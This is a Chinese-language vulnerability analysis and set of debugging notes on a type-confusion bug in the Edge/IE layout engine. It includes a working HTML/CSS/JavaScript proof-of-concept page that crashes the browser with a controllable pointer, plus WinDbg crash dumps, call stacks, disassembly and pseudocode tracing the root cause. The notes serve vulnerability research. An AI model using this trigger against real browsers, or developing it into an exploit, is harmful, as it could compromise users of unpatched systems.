漏洞概述
该漏洞是一个由于对传入参数限制不严格导致的类型混淆,错误的将TableGridBoxBuilder 当作 FlowBoxBuilder 对象来使用,导致程序可访问任意地址。该漏洞可以在 IE 和 EDGE 中触发,由于 IE DOM 树的结构并不直观,这里采用 EDGE 进行调试和分析
漏洞样本
漏洞样本如下,为了方便定位漏洞触发相关的 DOM 节点,我在其中加入了一些 text 作为标记
<style>
.class1 { float: left; column-count: 5; background-color:#FFFF00;}
.class2 { column-span: all; columns: 1px; }
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "sss";
th1.align = "right";
}
</script>
<body onload="setTimeout(boom,100)">
<table cellspacing="0" border=1>
<tr class="class1">aaa
<td id="th1" colspan="5" width=55>ssss</td>
<th class="class2" width=0>bb
<div class="class2">cc</div>
</th>
</tr>
</table>
漏洞分析
首先查看页面代码,大体流程为, 浏览器首先根据 css 渲染页面, 待页面渲染完成之后使用 media.mediaText = "" 为css 设置媒体属性,使 css 变成非阻塞试的,即使得当前页面不用考虑 css 解析结果就可以进行渲染,(这里只要不是“all”或者“screen”都可以),再次设置 th1.align 使页面重新渲染,这时的渲染将不会考虑之前的css,从而会使得页面所有元素被重新布局,在这个阶段发生崩溃
打开程序访问样本,漏洞触发点如下,可以看到,程序崩溃在访问 eax 寄存器所指向的地址时,eax 的值可以通过页面中数据进行控制
0:008> g
(d60.132c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000484 ebx=0dbbdd58 ecx=0dbc1fe8 edx=00000006 esi=00000064 edi=13f1ef88
eip=60ef9feb esp=0861d2b0 ebp=0861d2d4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x75:
60ef9feb 833800 cmp dword ptr [eax],0 ds:0023:00000484=????????
下断点 bp EDGEHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x5d
此处发生函数调用,返回值 eax 作为指针 ,这里总共会发生两次调用,函数参数保存在 ecx 中从 (poi(ebx+0x10)+0x88) 位置获得。
60ef9fda 8b4310 mov eax,dword ptr [ebx+10h]
60ef9fdd 8b8888000000 mov ecx,dword ptr [eax+88h]
60ef9fe3 894dec mov dword ptr [ebp-14h],ecx
60ef9fe6 e805226eff call edgehtml!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (605dc1f0)
60ef9feb 833800 cmp dword ptr [eax],0
第一次 ebx 为 FlowBoxBuilder 对象;第二次 ebx 为 TableGridBoxBuilder 对象
第一次调用栈为
0:008> k
ChildEBP RetAddr
0879c6cc 60aacd74 edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x70
0879c6f8 6084431f edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x2b9f4
0879c76c 60843afb edgehtml!Layout::FlowBoxBuilder::MoveToNextPosition+0x2ff
0879c7cc 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x4fb
0879c87c 60936a3a edgehtml!Layout::PageCollection::FormatPage+0x10b
0879c980 6091bcfb edgehtml!Layout::PageCollection::LayoutPagesCore+0x25a
0879c9b8 6091b5c6 edgehtml!Layout::PageCollection::LayoutPages+0xa0
0879c9f4 6091b298 edgehtml!Layout::PageCollection::DoLayout+0x126
0879ca44 6086d717 edgehtml!CView::ExecuteLayoutTasks+0x8d
0879caac 6070bb5b edgehtml!CView::EnsureView+0x2c7
0879cdbc 60708c22 edgehtml!CView::HitTestPoint<0>+0x377
0879ce7c 607089c7 edgehtml!CView::HitTestForMessage<0>+0xb3
0879ceac 606cddaa edgehtml!CDoc::HitTestPoint+0x50
第二次调用栈为
0:008> k
ChildEBP RetAddr
0879c6cc 60aacd74 edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x70
0879c6f8 6084431f edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x2b9f4
0879c76c 60843afb edgehtml!Layout::FlowBoxBuilder::MoveToNextPosition+0x2ff
0879c7cc 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x4fb
0879c87c 60936a3a edgehtml!Layout::PageCollection::FormatPage+0x10b
0879c980 6091bcfb edgehtml!Layout::PageCollection::LayoutPagesCore+0x25a
0879c9b8 6091b5c6 edgehtml!Layout::PageCollection::LayoutPages+0xa0
0879c9f4 6091b298 edgehtml!Layout::PageCollection::DoLayout+0x126
0879ca44 6086d717 edgehtml!CView::ExecuteLayoutTasks+0x8d
0879caac 6070bb5b edgehtml!CView::EnsureView+0x2c7
0879cdbc 60708c22 edgehtml!CView::HitTestPoint<0>+0x377
0879ce7c 607089c7 edgehtml!CView::HitTestForMessage<0>+0xb3
0879ceac 606cddaa edgehtml!CDoc::HitTestPoint+0x50
我们发现,两次调用栈一样,跟踪程序流程可知,第二次函数调用与第一次在同一函数内部,使用ida查看该上层函数,可以发现,此处是一个循环导致,循环每次取当前 FlowBox 的 ParentBoxBuilder,直到无对象为止,伪代码如下所示,其中取出了一些与漏洞无关的代码,可以看出这里在取出 parentBoxBuilder 之后并没有进行合法性校验就直接使用,从而导致了崩溃。
while ( 1 )
{
if ( !cBoxBuilder )
return 0;
if ( Layout::LayoutBoxBuilder::IsMultiColumnBoxBuilder(cBoxBuilder) )
break;
if ( Layout::LayoutBoxBuilder::IsFlowBoxBuilder(cBoxBuilder_1) )
v3 += *((_DWORD *)cBoxBuilder + 171);
/****************
****************/
v10 = ((int (*)(void))Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable)();
/****************
****************/
v26 = *(_DWORD *)(*((_DWORD *)cBoxBuilder + 4) + 12);
cBoxBuilder = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(cBoxBuilder);
}
在 HandleColumnBreakOnColumnSpanningElement
函数上下断点,顾名思义,函数是在一个 colume span 属性的对象发生修改时被调用的。 该函数在样本中一共会被调用 32 次, ,通过 BoxBuilder 可以索引到相应的对象,这里崩溃时调用对应的DOM对象为一个 CTableCell ,在页面中对应的为第二个 <th> 标签内部对象。
此次传入函数的参数为 FlowBoxBuilder ,其对应的 DOM 节点对象为 "bb" 文本对象的父 generate 对象, 根据当前节点对应的 FlowBox+0x88 位置设置一个标记位,若该标记位被设置,则依次向上遍历其 parentBoxBuilder
根据单步调试过程可以看出,第一次调用的DOM 对象和崩溃时调用的是同一个,只是其 FlowBox 发生了改变,应该是解析 css 过程中对 box 内容进行了更改。 于是在这里下断点观察。可以看出这里每次发生页面渲染操作时(页面内容发生变化)都会改变,而其偏移 0x88 位置的值则是在如下的调用流程中被修改的,若此处没有被修改,则会诱发崩溃。
088cca84 6060721a edgehtml!Layout::FlowBoxBuilder::AddFlowItem+0x9f
088ccd28 6084529f edgehtml!Layout::FlowBoxBuilder::BuildLine+0x43a
088cce78 6084384f edgehtml!Layout::FlowBoxBuilder::BuildBoxItem+0x11f
088cced4 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x24f
通过调用栈可以看到,这里是发生在构建页面 line 时。
第一次处理 '第二个 <th> 标签' 时,对应的Container 对象为为 FlowBox,正常处理,取 parentBoxBuilder 便会取到 <tr> 对象对应的 ContainerBox,其为 GridBox,与 FlowBox结构不同,从而造成了类型混淆。
后续工作
因为分析的时候遇到了很多困难,所以到网上搜索了一些文档~看到了 0patch ~看到了 0patch 的补丁~ 为什么感觉这个补丁完全没有在修补漏洞呢~
这个漏洞涉及到了css 等一些东西,知识点比较杂乱所以分析的也是乱七八糟,这里先记下来作为调试笔记~~和渲染相关的东西有点多~